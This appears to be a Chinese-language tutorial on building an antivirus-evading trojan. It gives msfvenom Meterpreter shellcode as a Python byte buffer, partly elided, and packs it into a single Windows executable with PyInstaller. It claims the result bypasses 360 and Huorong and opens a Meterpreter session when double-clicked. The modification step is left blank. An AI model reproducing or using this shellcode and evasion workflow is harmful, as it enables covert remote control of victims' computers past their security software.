环境准备
1.安装软件如下
python2.7
pyinstaller
pywin32
32位系统，我这里用的是XP
下载地址:https://github.com/guokeya/tools
2.配置环境变量
将python的目录配置为环境变量。
免杀过程
1.用msfvenom生成木马
msf.py内容如下
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"

buf += b"\x00\x04\xd2\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
buf += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
buf += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
buf += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"

buf += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
buf += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
buf += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
buf += b"\x53\xff\xd5"
2.修改msf.py成如下

3.编译木马
进入pyinstaller2.0目录，将修改后的msf.py也拖进去。编译
python pyinstaller.py --console --onefile msf.py
这个msf.exe就是免杀木马
验证木马
msf监听端口，双击木马。成功返回meterpreter
能过360,火绒，电脑管家不能绕过
